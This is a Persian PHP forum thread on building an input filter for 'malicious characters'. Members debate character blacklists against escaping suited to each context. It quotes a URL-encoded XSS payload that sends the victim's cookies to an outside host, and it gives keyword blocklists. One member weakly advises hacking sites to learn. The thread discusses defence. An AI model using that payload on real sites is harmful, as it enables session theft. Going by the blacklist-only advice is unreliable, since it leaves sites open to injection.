مرجع کاراکترهای مخرب مانند x0A \xFF %00

[phpweb]

من دارم روی یه تابع امنیتی که بتونه جلوی کاراکترهای مخرب رو بگیره کار می کنم. من دنبال لیست کامل کاراکترهای مخرب می گردم. خوشحال می شم کاراکترهای مخربی که باعث اخلال در کار سایت می شن رو معرفی کنید.

من یه کاراکترهای مخربی که پیدا رو در ادامه قرار می دم. لطفا این لیست رو کامل کنید.


\x0A \xFF %00 \0

لازم به ذکر هست که من متا کاراکترهای موجود بر روی کیبوردها رو توی لیست خودم قرار ندادم.

[eshpilen]

بنظرم اینقدر هم کلی و وحشتناک نیست.
یکسری کاراکترها و بایتها در بعضی جاها مشکلاتی ایجاد میکنن؛ بخصوص وقتی بصورت عمدی و هوشمندانه برای نفوذ بکار برن.
مخرب بودن اونا به جای کاربرد اونا برمیگرده و ضعف طراحی نرم افزار شما.
مثلا اگر شما دیتا رو قبل از درج در دیتابیس Escape کنید اشکالی برای نرم افزار شما بوجود نمیاد، حالا توی دیتای کاربر هرچی میخواد باشه.
یکسری موارد وجود دارن که باید اونا رو مطالعه کنید و روش امن کردنشون رو بلد باشید. بطور مثال SQL injection و XSS. معمولا هم راه حلش خیلی ساده هست و من نمیدونم چرا خیلی افراد میرن تابع های عجیب و غریب درست میکنن که کلی کار انجام میدن ظاهرا اما عملا یا نیازی نیستن یا حتی ضعف هایی دارن.

مثلا این x0A که گذاشتی بنظرم جزو کاراکتر New Line هست و در یک Textarea وجودش خیلی طبیعی و لازمه. اونوقت شما چیکار میکنی؟ کلا هرجا بود پاکش میکنی؟!
اما همین کاراکتر بطور مثال وقتی در یک ورودی کاربر باشه که در هدرهای تابع mail درج بشه، برای سوء استفاده از فرمهای تماس که ایمیل میکنن مورد استفاده قرار میگیره و بنابراین در اونجا وجودش نشانهء یک حمله هست و باید حذف بشه و IP کاربر مورد نظر رو هم به پلیس بین الملل معرفی کنید!! البته فکر میکنم استفاده از رگولار اکسپرشن ایمیل هم باعث عدم امکان عبور این کاراکتر میشه.
بطور مثال این کدی هست که بنده در فرم تماس خودم بکار بردم:

if($_POST['email']!=='') {
if(strpos(urldecode($_POST['email']), "\n")!==false || strpos(urldecode($_POST['email']), "\r")!==false) {
$_POST['message']="\n\nHeader injection attempt: >{$_POST['email']}<\n\n{$_POST['message']}";
$_POST['email']='';
}
else if(!preg_match('/^[a-z0-9_\-+\.]+@([a-z0-9\-+]+\.)+[a-z]{2,5}$/i', $_POST['email'])) $u_msg.='
ایمیل وارد شده غیر معتبر است.
';
}

[phpweb]

بنظرم اینقدر هم کلی و وحشتناک نیست.
یکسری کاراکترها و بایتها در بعضی جاها مشکلاتی ایجاد میکنن؛ بخصوص وقتی بصورت عمدی و هوشمندانه برای نفوذ بکار برن.
[/CODE]

مطالبی که گفتید درسته اما من دنبال کاراکترهای خاص می گردم که به هر حال می تونن باعث اخلال در کار سایت بشن.

در ضمن بعضی جاها باید کاراکتر رو حذف کرد اما بعضی جاهها هم می شه کاراکتر رو اسکیپ کرد و . . .

لطفا اگر چنین کاراکترهایی می شناسید، اونها رو معرفی کنید.

[eshpilen]

هیچ کاراکتری به خودی خودش خطری نداره و میبینی که همین کاراکترها بعضی جاها وجودشون لازمه. هر کاراکتری ممکنه در یه کاربردی معنا و خاصیت خاصی پیدا کنه که درصورت ضعف نرم افزار شما مورد سوء استفاده قرار بگیره. به این شکل تمام کاراکترها میتونن در جایی به شکلی خطرناک باشن. یا مثلا یک رشتهء خاص از کاراکترها هست که خطرناکه (نه یک کاراکتر منفرد به تنهایی).
باز هر کاراکتری که میاری مشخص کنی کجاها مشکل داره یه چیزی.
البته یکسری کاراکترها وجودشون طبیعی نیست و خیلی نادره در بیشتر جاها و در بیشتر جاها غیرمجاز هستن، که توی لیست شما هم بیشترشون اینطور هستن. اما حتی اینا رو هم نمیشه بطور کلی گفت در همه جا غیرمجاز و خطرناکه. مثلا شما اگر یک دیتای باینری رو بخوای در جایی مشخص کنی ممکنه هر کاراکتری درش باشه.
یا کاراکترهایی رو که در SQL Injection استفاده میشن اگر لیست کنی میبینی که بیشتر اونا کاراکترهایی معمولی و لازم هستن در جاهای دیگه و دلیلی نداره به این خاطر که در SQL Injection قابلیت سوء استفاده دارن اسم اونا رو کاراکترهای مخرب بذاریم.
بنابراین یک تابع واحد و کلی وجود نداره که باهاش تمام ورودیهای کاربر رو بخوایم پاکسازی یا Escape کنیم.
و ذکر کاراکترها بصورت تک تک و گذاشتن اسم مخرب روی اونها هم چندان اصولی نیست و بنظرم بدون ذکر موارد کاربرد مخرب اونا و روش جلوگیری در هر مورد خاص، فایدهء چندانی هم نداره.

[phpweb]

هیچ کاراکتری به خودی خودش خطری نداره و میبینی که همین کاراکترها بعضی جاها وجودشون لازمه. هر کاراکتری ممکنه در یه کاربردی معنا و خاصیت خاصی پیدا کنه که درصورت ضعف نرم افزار شما مورد سوء استفاده قرار بگیره. به این شکل تمام کاراکترها میتونن در جایی به شکلی خطرناک باشن. یا مثلا یک رشتهء خاص از کاراکترها هست که خطرناکه (نه یک کاراکتر منفرد به تنهایی).
باز هر کاراکتری که میاری مشخص کنی کجاها مشکل داره یه چیزی.
البته یکسری کاراکترها وجودشون طبیعی نیست و خیلی نادره در بیشتر جاها و در بیشتر جاها غیرمجاز هستن، که توی لیست شما هم بیشترشون اینطور هستن. اما حتی اینا رو هم نمیشه بطور کلی گفت در همه جا غیرمجاز و خطرناکه. مثلا شما اگر یک دیتای باینری رو بخوای در جایی مشخص کنی ممکنه هر کاراکتری درش باشه.
یا کاراکترهایی رو که در SQL Injection استفاده میشن اگر لیست کنی میبینی که بیشتر اونا کاراکترهایی معمولی و لازم هستن در جاهای دیگه و دلیلی نداره به این خاطر که در SQL Injection قابلیت سوء استفاده دارن اسم اونا رو کاراکترهای مخرب بذاریم.
بنابراین یک تابع واحد و کلی وجود نداره که باهاش تمام ورودیهای کاربر رو بخوایم پاکسازی یا Escape کنیم.
و ذکر کاراکترها بصورت تک تک و گذاشتن اسم مخرب روی اونها هم چندان اصولی نیست و بنظرم بدون ذکر موارد کاربرد مخرب اونا و روش جلوگیری در هر مورد خاص، فایدهء چندانی هم نداره.

من این مطالب رو می دونم، خیلی از این کاراکترها و رشته ها رو می شه اسکیپ کرد.

لطفا کاراکترها یا رشته هایی که می تونن مخرب باشن رو معرفی کنید و لیست رو تکمیل کنید.

[رضا قربانی]

$symbol = array(',', ')', '(', "'", '"','!', '?', '/', '[', ']', '+', '=', '#', '\x00', '\n', '\r', '\x1a', '&', '$');

[phpweb]

$symbol = array(',', ')', '(', "'", '"','!', '?', '/', '[', ']', '+', '=', '#', '\x00', '\n', '\r', '\x1a', '&', '$');



ظاهرا برای اکثر این رشته ها لازم نیست که تابع خاصی بنویسیم و استفاده از تابع addslashes مشکل ما رو حل می کنه. نظر شما چیه؟

اگر هنوز کاراکتری یا رشته مخربی هست، لطفا اون رو به لیست اضافه کنید.

[eshpilen]

ظاهرا برای اکثر این رشته ها لازم نیست که تابع خاصی بنویسیم و استفاده از تابع addslashes مشکل ما رو حل می کنه. نظر شما چیه؟

چه مشکلی رو؟
یعنی شما میفرمایید برای جلوگیری از تمام حمله های مختلف مثل SQL Injection و XSS و غیره بیایم و فقط این تابع رو روی دیتای وارد شده توسط کاربر اعمال بکنیم؟

[phpweb]

چه مشکلی رو؟
یعنی شما میفرمایید برای جلوگیری از تمام حمله های مختلف مثل SQL Injection و XSS و غیره بیایم و فقط این تابع رو روی دیتای وارد شده توسط کاربر اعمال بکنیم؟

منظورم کاراکترهایی بود که شامل \ هستن. برای این کاراکترها این تابع مشکل رو حل می کنه.

نظر شما چیه؟

[eshpilen]

خب این تابع برای همین کاراکترها هست. و magic_quotes_gpc (http://www.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc) هم اساسا همین تابع رو روی ورودیهای GPC اعمال میکنه. ولی اینطور که نوشته این تابع فقط برای ۴ کاراکتر خاص عبارت از کوتیشن تکی، کوتیشن دوبل، بک اسلش، و NULL (بایت با مقدار صفر) این کار رو انجام میده. یعنی تعداد زیادی از کاراکترهای دیگری که galiken_it (http://barnamenevis.org/member.php?151175-galiken_it) لیست کردن رو شامل نمیشه.
بنده از این تابع برای Escape کردن دیتای کاربر که میخواستم در رشته های جاوااسکریپت درج کنم استفاده کردم.
کاربرد دیگرش هم برای Escape جهت درج در دیتابیس هست، ولی در اینمورد تابع mysqli_real_escape_string() (http://www.php.net/manual/en/mysqli.real-escape-string.php) اکیدا بجاش توصیه میشه (درصورتیکه با MySQL کار میکنید).
بنابراین میبینید که تابع واحدی برای همه کار وجود نداره. کاراکترهایی که لیست شدن در همه جا مخرب نیستن، بلکه در بعضی کاربردها و شرایط خطرناک یا مخرب میشن و برای اون موارد هم خیلی مواقع توابع مخصوص خودشون وجود دارن.
راستی درمورد XSS هم بنظرم باید کاراکتر ابتدای تگ یعنی کاراکتر علامت کوچکتر رو لیست کنیم، یا اینکه کلا تگ <script> رو. بعضیا ممکنه اینا رو حذف بکنن، اما بعضیا هم ممکنه صرفا از تابع htmlspecialchars برای Escape کردن استفاده کنن. خب این بستگی به کاربرد و نظر و آینده اندیشی های طراح و سیاستهاش هم داره (مثلا اینکه بخواد تا چه حد در تنظیمات کاربر مثل انتخاب نام کاربری و امضاء آزادی بده). درمورد کاربردها مثلا اگر بخوایم کاربران بتونن در کامنت هایی که میذارن نمونه کد درج کنن، مسلما دیگه نمیشه اینطور تگها رو حذف کنیم و باید اونا رو بوسیلهء htmlspecialchars نمایش بدیم.

[phpweb]

خب این تابع برای همین کاراکترها هست. و magic_quotes_gpc (http://www.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc) هم اساسا همین تابع رو روی ورودیهای GPC اعمال میکنه. ولی اینطور که نوشته این تابع فقط برای ۴ کاراکتر خاص عبارت از کوتیشن تکی، کوتیشن دوبل، بک اسلش، و NULL (بایت با مقدار صفر) این کار رو انجام میده. یعنی تعداد زیادی از کاراکترهای دیگری که galiken_it (http://barnamenevis.org/member.php?151175-galiken_it) لیست کردن رو شامل نمیشه.
بنده از این تابع برای Escape کردن دیتای کاربر که میخواستم در رشته های جاوااسکریپت درج کنم استفاده کردم.
کاربرد دیگرش هم برای Escape جهت درج در دیتابیس هست، ولی در اینمورد تابع mysqli_real_escape_string() (http://www.php.net/manual/en/mysqli.real-escape-string.php) اکیدا بجاش توصیه میشه (درصورتیکه با MySQL کار میکنید).
بنابراین میبینید که تابع واحدی برای همه کار وجود نداره. کاراکترهایی که لیست شدن در همه جا مخرب نیستن، بلکه در بعضی کاربردها و شرایط خطرناک یا مخرب میشن و برای اون موارد هم خیلی مواقع توابع مخصوص خودشون وجود دارن.
راستی درمورد XSS هم بنظرم باید کاراکتر ابتدای تگ یعنی کاراکتر علامت کوچکتر رو لیست کنیم، یا اینکه کلا تگ <script> رو. بعضیا ممکنه اینا رو حذف بکنن، اما بعضیا هم ممکنه صرفا از تابع htmlspecialchars برای Escape کردن استفاده کنن. خب این بستگی به کاربرد و نظر و آینده اندیشی های طراح و سیاستهاش هم داره (مثلا اینکه بخواد تا چه حد در تنظیمات کاربر مثل انتخاب نام کاربری و امضاء آزادی بده). درمورد کاربردها مثلا اگر بخوایم کاربران بتونن در کامنت هایی که میذارن نمونه کد درج کنن، مسلما دیگه نمیشه اینطور تگها رو حذف کنیم و باید اونا رو بوسیلهء htmlspecialchars نمایش بدیم.

من می خوام کاراکتر % رو به موجودیت معادل خودش تبدیل کنم، نظر شما در این مورد چیه؟

[eshpilen]

من می خوام کاراکتر % رو به موجودیت معادل خودش تبدیل کنم، نظر شما در این مورد چیه؟
در چه مواردی و برای چی این کار رو بکنیم آخه؟

[phpweb]

در چه مواردی و برای چی این کار رو بکنیم آخه؟
این کاراکتر توی کوئری های دیتابیس معنی خاصی داره. از طرفی حملات XSS رو می شه با این کاراکتر انجام داد. یعنی بجای نوتن کدهای جاوا اسکریپت، می شه با استفاده از این کاراکتر، معادل اسکی کاراکترها رو نوشت و باعث دزدیدن کوکی ها شد.

من می خوام یه تابع کامل که بتونه جلوی هر داده مخربی رو می گیره بنویسم. به این تابع احتیاج دارم.

[eshpilen]

این کاراکتر توی کوئری های دیتابیس معنی خاصی داره. از طرفی حملات XSS رو می شه با این کاراکتر انجام داد. یعنی بجای نوتن کدهای جاوا اسکریپت، می شه با استفاده از این کاراکتر، معادل اسکی کاراکترها رو نوشت و باعث دزدیدن کوکی ها شد.
میشه یه مثال بزنی؟
یعنی استفاده از تابع htmlspecialchars جلوش رو نمیگیره؟

[phpweb]

میشه یه مثال بزنی؟
یعنی استفاده از تابع htmlspecialchars جلوش رو نمیگیره؟

توی یه پی دی اف خوندم که دستورات جاوا اسکریپت رو می شه به فرمت زیر به صفحه تزریق کرد.


http://www.example.ir/index.php?variable=%22%3e%3c%73%63%72%69%70%74%
3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f %6e%3d%27%68%74%74%
70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69 %74%79%2e%63%6f%6d%
2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63 %67%69%3f%27%20%2b%
64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%
3e

مرورگر این کد رو به معادل خودش تبدیل می کنه.

در مورد تابع htmlspecialchars هم باید بگم که توی ادیتورهای متن مثل ادیتور tinymce، با مشکلاتی مواجح می شیم.

لطفا لیست همه کاراکترهایی که توی ذهنتون هست و می تونن کاربرد مخرب داشته باشن رو برام ارسال کنید.

[eshpilen]

توی یه پی دی اف خوندم که دستورات جاوا اسکریپت رو می شه به فرمت زیر به صفحه تزریق کرد.


http://www.example.ir/index.php?variable=%22%3e%3c%73%63%72%69%70%74%
3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f %6e%3d%27%68%74%74%
70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69 %74%79%2e%63%6f%6d%
2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63 %67%69%3f%27%20%2b%
64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%
3eمرورگر این کد رو به معادل خودش تبدیل می کنه.

فقط خوندن که نمیشه. باید کامل درک کنی تا موارد مصداق و راه حلش رو بدونی. اگر منظورش رو کامل و عمیق متوجه نشده باشی، پس نمیشه کلا بر اساس حدس و نظرت اتکا کرد چون ممکنه خیلی چیزای مهم رو اشتباه بکنی.
بنده قبلا از اینکه شما جواب بدی فکر کردم شاید منظور این شکل بود و یک تست در اینمورد انجام دادم که دیدم تابع htmlspecialchars کار خودش رو بخوبی انجام میده، حتی اگر ورودی با این روش نوشته شده باشه.
و شاید منظور در اون کتاب این بوده که به این روش کاری میکنن که دستورات جاوااسکریپت در آدرس خوانا نباشن تا کاربر و حتی افراد حرفه ای تر بهش شک نکنن. وگرنه در نهایتش اگر شما تمهیدات لازم برای جلوگیری از XSS رو در برنامتون لحاظ کرده باشید، نوشتن به این شکل نمیتونه باعث از زیر دست در رفتنش بشه. حداقل تاجاییکه من تست کردم و مثال و توضیح در حدی که شما ارائه میکنی اینطور هست. اگر چیز بیشتری هست یا مطلب منبع اصلی رو میتونی بیاری میتونیم بیشتر بررسیش کنیم.
من فکر نمیکنم واقعا ایدهء خوب و بدون مشکلی باشه که یه تابع بنویسیم برای همهء موارد امنیتی یا اینکه تابعی رو روی تمام ورودیها با هر کاربردی اعمال کنیم. گذشته از اینکه بنظرم لزومی نداره، ممکنه این در بعضی جاها هم مشکلات فنی ایجاد بکنه. ضمنا شما همیشه باید از روشهای استاندارد و توابع مخصوص هم استفاده بکنید، حتی اگر توابع خودتون رو مینویسید و استفاده میکنید، چون بهرحال همیشه امکان داره چیزی از زیر دست در بره.


در مورد تابع htmlspecialchars هم باید بگم که توی ادیتورهای متن مثل ادیتور tinymce، با مشکلاتی مواجح می شیم.ببینید با کلی گویی که چیزی مشخص نمیشه. باید دید دقیقا مشکل چیه و کجاست و چرا ایجاد میشه و بهترین راه حل اصولی اون چی هست. نهایتش اون روش خاص رو در اون مورد خاص برای رفع مشکل بکار میبریم، نه اینکه برای کل بقیهء برنامه و کاربردها و سیستمها هم استفاده کنیم.


لطفا لیست همه کاراکترهایی که توی ذهنتون هست و می تونن کاربرد مخرب داشته باشن رو برام ارسال کنید.من زیاد به کاراکترها فکر نمیکنم. چون این کاراکترها میتونن متغییر باشن و از سیستم به سیستم و از زمان به زمان تفاوت بکنن. مثلا ممکنه در نسخهء بعدی MySQL یک کارکتر جدید هم معنا و کاربرد خاصی پیدا بکنه. این کاملا ممکنه. برای همینه که توصیه میشه از تابع مثل mysql_real_escape_string (file:///D:/php_manual/function.mysql-real-escape-string.html) استفاده کنید، چون این تابع رو درواقع خودMySQL اجرا میکنه، نه PHP.
مهم اینه که شما نوع و مکان حمله رو بدونی و روش جلوگیری از اون رو.
از این کلکسیون کاراکترهای مخرب جمع کردن به چی میخوایم برسیم نمیدونم. مگه تا همین حالاش به چیزی رسیدیم؟ خود بنده الان بعضی از اون کاراکترهایی رو که دوست دیگر لیست کردن اصلا نمیدونم و ندیدم کجا چه استفادهء مخربی دارن و نمیدونم وقتی ما این مسائل رو نمیدونیم چه حرکت کوری باید انجام بدیم. مسلما این حرکت میتونه مشکلات جانبی دیگری رو ایجاد بکنه، و شاید اصلا دقیقا جلوی تمام موارد و مکانهایی رو که مشکل امنیتی میتونه بوجود بیاد نگیره.
این مسائل اونقدرها هم پیچیده و ناشناخته نیستن بنظرم. مثلا ما میدونیم SQL Injection چیه و چطور جلوش رو بگیریم، همینطور درمورد XSS، همینطور درمورد XSRF، همینطور درمورد هر مورد دیگری هم باید بخونیم و بفهمیم و راه حل اصولی و یا تابع مخصوص اون رو استفاده کنیم. فقط یه لیست کورکورانه جمع کردن از کاراکترهای مختلف و حذف یا تغییر شکل اونها در همه جا بنظرم اصلا راه اصولی و بدون مشکلات جانبی احتمالی و حتی بقدر کافی مطمئن از نظر امنیتی نیست.
اگر تابع و روش کلی ای برای همه چیز یا چنتا چیز بود باید در خود PHP میذاشتن یا حداقل چنین تابع معتبر و معروفی وجود داشت که همه جا توصیه میشد و همه ازش استفاده میکردن.

[رضا قربانی]

داداش ، ببین چرا انقدر سخت می گیری !!!!!!!!!!!!!!!!!
ببین شما مثلا یک input دارید نیازی نیست اصلا انقدر سخت بگیری :

خیلی ساده بیا و جلوی هکر رو بگیر - مثلا می گی شماره تلفن همراه ، خب شما input رو تا 11 رقم محدود کن و بگو فقط باید عددی باشه یا برای بقیه چیزا که خیلی ساده می تونی کارای دیگه ای هم انجام بدی ------ مثلا یک نمونه جلوی کپی پیست کاربر رو بگیر که دیگه نتونه توی فرم کپی یا کنترل وی کنه :لبخند:

ولی در کل من توی فرم هام از این روش استفاده می کنم که جولوی اسکریپت و کد های اچ تی ام ال و... بقیه رو می گیرم و تا حالا واسه من مشکلی پیش نیومد

اطلاعات پست رو اینطوری دریافتش می کنم و یک پاکسازی کامل و بعد وارد بانک می کنم و البته یه سری کلمات رو هم من خودم عشقی فیلتر کردم.(خدا کنه زندگیمون عشقی نشه :لبخند: )
خیلی راحت


$symbol = array(',', ')', '(', "'", '"','!', '?', '/', '[', ']', '+', '=', '#', '\x00', '\n', '\r', '\x1a', '&', '$', 'select', 'delete', 'from', 'xml', 'script', 'mysql');
$Famili = preg_replace("/<.*?>/", "",$_POST['Famili'] );
$Famili =str_replace( $symbol ,"",$Famili);

[phpweb]

داداش ، ببین چرا انقدر سخت می گیری !!!!!!!!!!!!!!!!!
ببین شما مثلا یک input دارید نیازی نیست اصلا انقدر سخت بگیری :

خیلی ساده بیا و جلوی هکر رو بگیر - مثلا می گی شماره تلفن همراه ، خب شما input رو تا 11 رقم محدود کن و بگو فقط باید عددی باشه یا برای بقیه چیزا که خیلی ساده می تونی کارای دیگه ای هم انجام بدی ------ مثلا یک نمونه جلوی کپی پیست کاربر رو بگیر که دیگه نتونه توی فرم کپی یا کنترل وی کنه :لبخند:

ولی در کل من توی فرم هام از این روش استفاده می کنم که جولوی اسکریپت و کد های اچ تی ام ال و... بقیه رو می گیرم و تا حالا واسه من مشکلی پیش نیومد

اطلاعات پست رو اینطوری دریافتش می کنم و یک پاکسازی کامل و بعد وارد بانک می کنم و البته یه سری کلمات رو هم من خودم عشقی فیلتر کردم.(خدا کنه زندگیمون عشقی نشه :لبخند: )
خیلی راحت


$symbol = array(',', ')', '(', "'", '"','!', '?', '/', '[', ']', '+', '=', '#', '\x00', '\n', '\r', '\x1a', '&', '$', 'select', 'delete', 'from', 'xml', 'script', 'mysql');
$Famili = preg_replace("/<.*?>/", "",$_POST['Famili'] );
$Famili =str_replace( $symbol ,"",$Famili);




جلوگیری از کاراکترهای غیر مجاز رو در مراحل بعدی که لیست همه کاراکترهای مخرب رو پیدا کردم به تابع اضافه می کنم.

بنظرتون کاراکترهای مخربی که توی تابعتون هست کامل هستند یا اینکه هنوز هم کاراکتری هست که باید اضافه کنید؟ کاراکتر % رو توی این تابع قرار ندادید.

تا حالا توی سایتهایی که این تابع رو کار کردید، کسی تونسته سایتتون رو هک کنه؟

[phpweb]

فقط خوندن که نمیشه. باید کامل درک کنی تا موارد مصداق و راه حلش رو بدونی. اگر منظورش رو کامل و عمیق متوجه نشده باشی، پس نمیشه کلا بر اساس حدس و نظرت اتکا کرد چون ممکنه خیلی چیزای مهم رو اشتباه بکنی.
بنده قبلا از اینکه شما جواب بدی فکر کردم شاید منظور این شکل بود و یک تست در اینمورد انجام دادم که دیدم تابع htmlspecialchars کار خودش رو بخوبی انجام میده، حتی اگر ورودی با این روش نوشته شده باشه.
و شاید منظور در اون کتاب این بوده که به این روش کاری میکنن که دستورات جاوااسکریپت در آدرس خوانا نباشن تا کاربر و حتی افراد حرفه ای تر بهش شک نکنن. وگرنه در نهایتش اگر شما تمهیدات لازم برای جلوگیری از XSS رو در برنامتون لحاظ کرده باشید، نوشتن به این شکل نمیتونه باعث از زیر دست در رفتنش بشه. حداقل تاجاییکه من تست کردم و مثال و توضیح در حدی که شما ارائه میکنی اینطور هست. اگر چیز بیشتری هست یا مطلب منبع اصلی رو میتونی بیاری میتونیم بیشتر بررسیش کنیم.
من فکر نمیکنم واقعا ایدهء خوب و بدون مشکلی باشه که یه تابع بنویسیم برای همهء موارد امنیتی یا اینکه تابعی رو روی تمام ورودیها با هر کاربردی اعمال کنیم. گذشته از اینکه بنظرم لزومی نداره، ممکنه این در بعضی جاها هم مشکلات فنی ایجاد بکنه. ضمنا شما همیشه باید از روشهای استاندارد و توابع مخصوص هم استفاده بکنید، حتی اگر توابع خودتون رو مینویسید و استفاده میکنید، چون بهرحال همیشه امکان داره چیزی از زیر دست در بره.

ببینید با کلی گویی که چیزی مشخص نمیشه. باید دید دقیقا مشکل چیه و کجاست و چرا ایجاد میشه و بهترین راه حل اصولی اون چی هست. نهایتش اون روش خاص رو در اون مورد خاص برای رفع مشکل بکار میبریم، نه اینکه برای کل بقیهء برنامه و کاربردها و سیستمها هم استفاده کنیم.

من زیاد به کاراکترها فکر نمیکنم. چون این کاراکترها میتونن متغییر باشن و از سیستم به سیستم و از زمان به زمان تفاوت بکنن. مثلا ممکنه در نسخهء بعدی MySQL یک کارکتر جدید هم معنا و کاربرد خاصی پیدا بکنه. این کاملا ممکنه. برای همینه که توصیه میشه از تابع مثل mysql_real_escape_string (file:///D:/php_manual/function.mysql-real-escape-string.html) استفاده کنید، چون این تابع رو درواقع خودMySQL اجرا میکنه، نه PHP.
مهم اینه که شما نوع و مکان حمله رو بدونی و روش جلوگیری از اون رو.
از این کلکسیون کاراکترهای مخرب جمع کردن به چی میخوایم برسیم نمیدونم. مگه تا همین حالاش به چیزی رسیدیم؟ خود بنده الان بعضی از اون کاراکترهایی رو که دوست دیگر لیست کردن اصلا نمیدونم و ندیدم کجا چه استفادهء مخربی دارن و نمیدونم وقتی ما این مسائل رو نمیدونیم چه حرکت کوری باید انجام بدیم. مسلما این حرکت میتونه مشکلات جانبی دیگری رو ایجاد بکنه، و شاید اصلا دقیقا جلوی تمام موارد و مکانهایی رو که مشکل امنیتی میتونه بوجود بیاد نگیره.
این مسائل اونقدرها هم پیچیده و ناشناخته نیستن بنظرم. مثلا ما میدونیم SQL Injection چیه و چطور جلوش رو بگیریم، همینطور درمورد XSS، همینطور درمورد XSRF، همینطور درمورد هر مورد دیگری هم باید بخونیم و بفهمیم و راه حل اصولی و یا تابع مخصوص اون رو استفاده کنیم. فقط یه لیست کورکورانه جمع کردن از کاراکترهای مختلف و حذف یا تغییر شکل اونها در همه جا بنظرم اصلا راه اصولی و بدون مشکلات جانبی احتمالی و حتی بقدر کافی مطمئن از نظر امنیتی نیست.
اگر تابع و روش کلی ای برای همه چیز یا چنتا چیز بود باید در خود PHP میذاشتن یا حداقل چنین تابع معتبر و معروفی وجود داشت که همه جا توصیه میشد و همه ازش استفاده میکردن.

در مورد این پست که ایجاد کردم باید بگم که کورکورانه به دنبال کاراکترهای مخرب نیستم. قبلا چندتا پی دی اف در مورد مسائل امنیتی و انواع روشهای نفوذ به سایتها خوندم. شاید کتابهایی که خوندم 200 صفحه می شدن. در مورد تابع htmlspecialchars و ادیتور TninyMce باید بگم که وقتی کاربر یه کاراکتر مثل > یا < وارد می کنه، ادیتور اون رو به موجودیتهای معادل خودشون تبدیل می کنه تا توی تگهایی که خود ادیتور ایجاد می کنه اخلالی بوجود نیارن. این تابع بین تگهایی که کاربر وارد کرده و تگهایی که ادیتور وارد کرده تفاوتی قائل نمی شه و بعد از استفاده از این تابع و ذخیره مطلب ارسال شده توی دیتابیس، برای نمایش مطلب باید از تابع htmlspecialchars_decode استفاده کنیم تا بتونیم موجودیتها رو به تگهای اچ تی ام ال تبدیل کنیم. مشکل اینجا خودش رو نشون می ده، این تابع تگهایی که مخصوص ادیتور هستن و تگهایی که کاربر وارد کرده (و ادیتور اونها رو به به موجودیت تبدیل کرده) رو به کارامترهای قابل پردازش تبدیل می کنه. امیدوارم تونسته باشم که مطلبم رو رسونده باشم. بغیر از این باید بگم که من همه توابعی که پی اچ پی برای این کار معرفی کرده رو بررسی کردم و با توجه به اهمیت موضوع دارم دنبال این کاراکترها می گردم.

[رضا قربانی]

جلوگیری از کاراکترهای غیر مجاز رو در مراحل بعدی که لیست همه کاراکترهای مخرب رو پیدا کردم به تابع اضافه می کنم.

بنظرتون کاراکترهای مخربی که توی تابعتون هست کامل هستند یا اینکه هنوز هم کاراکتری هست که باید اضافه کنید؟ کاراکتر % رو توی این تابع قرار ندادید.

تا حالا توی سایتهایی که این تابع رو کار کردید، کسی تونسته سایتتون رو هک کنه؟

نه متاسفانه هک نشد :لبخند: ولی هکر حرفه ای باشه هر کاری ازش بر میاد ، همیشه اگه می خوایی امنیتت بر قرار شه برو دنبال هک سایت و چند تا سایت رو هک کردی و عقده ی خودت رو خالی کردی ، متوجه می شی که کجا ها رو دقت کنی.

داداش این مبحث رو انقدر گنده نکن ، حداقل الآن توی این قسمت از راهت .
هر چیزی دوست داری بهش اضافه کن و فیلترش کن . مثلا کلمه reza فارسی بنویس فیلتر کن و به جاش یک اسپیس یا همون خط فاصله می زنه.
خط دوم هم از اسکریپت و کد های اچ تی ام ال جولوگیری می کنه
می تونی تست کنی : مثلا یه کد اچ تی ام ال داخلش به صورت پست ارسال کن و ذخیره بانک کن ، بعد می بینی که اسپیس خورده و کلمات رو از بین شون می کشه بیرون.

خیلی راحت و در عین حال کارآمد

موفق باشی داداش
شب خوش

[eshpilen]

در مورد این پست که ایجاد کردم باید بگم که کورکورانه به دنبال کاراکترهای مخرب نیستم. قبلا چندتا پی دی اف در مورد مسائل امنیتی و انواع روشهای نفوذ به سایتها خوندم. شاید کتابهایی که خوندم 200 صفحه می شدن. در مورد تابع htmlspecialchars و ادیتور TninyMce باید بگم که وقتی کاربر یه کاراکتر مثل > یا < وارد می کنه، ادیتور اون رو به موجودیتهای معادل خودشون تبدیل می کنه تا توی تگهایی که خود ادیتور ایجاد می کنه اخلالی بوجود نیارن. این تابع بین تگهایی که کاربر وارد کرده و تگهایی که ادیتور وارد کرده تفاوتی قائل نمی شه و بعد از استفاده از این تابع و ذخیره مطلب ارسال شده توی دیتابیس، برای نمایش مطلب باید از تابع htmlspecialchars_decode استفاده کنیم تا بتونیم موجودیتها رو به تگهای اچ تی ام ال تبدیل کنیم. مشکل اینجا خودش رو نشون می ده، این تابع تگهایی که مخصوص ادیتور هستن و تگهایی که کاربر وارد کرده (و ادیتور اونها رو به به موجودیت تبدیل کرده) رو به کارامترهای قابل پردازش تبدیل می کنه. امیدوارم تونسته باشم که مطلبم رو رسونده باشم. بغیر از این باید بگم که من همه توابعی که پی اچ پی برای این کار معرفی کرده رو بررسی کردم و با توجه به اهمیت موضوع دارم دنبال این کاراکترها می گردم.
هان که اینطور!
من با TninyMce کار نکردم ولی حتما یه راه حلی داره این قضیه.
باید مستنداتش رو خوند و دید چطوری کار میکنه و اصلا نیازی هست ما از تابع htmlspecialchars استفاده کنیم یا نه. بعدم شما فرضا از روش خودت چطوری عمل میکنی مگه؟ یعنی موقع ذخیره در دیتابیس و بعدش موقع درج در صفحه چه بلایی سرش میاری؟
بهرحال جدا کردن و علامتگذاری موجودیتها هم ممکن هست که بعدا بتونی فقط اونهایی رو که باید دیکد کنی دیکد کنی. کاری نداره با چنتا رگولار اکسپرشن و مثلا جایگزینی موجودیت ها با رشته های علامتگذاری خاصی با فرمت خاص میشه این کار رو انجام داد.

[eshpilen]

خیلی راحت و در عین حال کارآمد

شوخی میکنی!
